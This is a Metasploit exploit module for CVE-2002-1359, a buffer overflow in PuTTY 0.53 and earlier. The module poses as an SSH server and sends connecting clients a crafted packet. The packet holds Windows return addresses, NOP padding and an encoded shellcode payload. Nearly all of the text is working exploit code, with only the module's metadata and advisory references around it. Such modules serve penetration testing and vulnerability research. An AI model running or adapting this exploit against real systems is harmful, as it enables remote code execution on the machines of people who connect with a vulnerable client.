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## # $Id: putty_msg_debug.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'PuTTy.exe <= v0.53 Buffer Overflow', 'Description'=> %q{ This module exploits a buffer overflow in the PuTTY SSH client that is triggered through a validation error in SSH.c. }, 'Author' => 'MC', 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9525 $', 'References' => [ [ 'CVE', '2002-1359' ], [ 'OSVDB', '8044'], [ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ], [ 'BID', '6407'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space'=> 400, 'BadChars' => "\x00", 'MaxNops'=> 0, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ], ], 'Privileged' => false, 'DisclosureDate' => 'Dec 16 2002', 'DefaultTarget'=> 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ]) ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) buffer = "SSH-2.0-OpenSSH_3.6.1p2\r\n" + "\x00\x00\x4e\xec\x01\x14" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" + (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) + (((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) + [target.ret].pack('V') + make_nops(10) + p.encoded + (((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" + (((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" + (((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" + (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) + "\x00\x00\x00\x00\x00\x00" print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...") client.put(buffer) handler service.close_client(client) end end |
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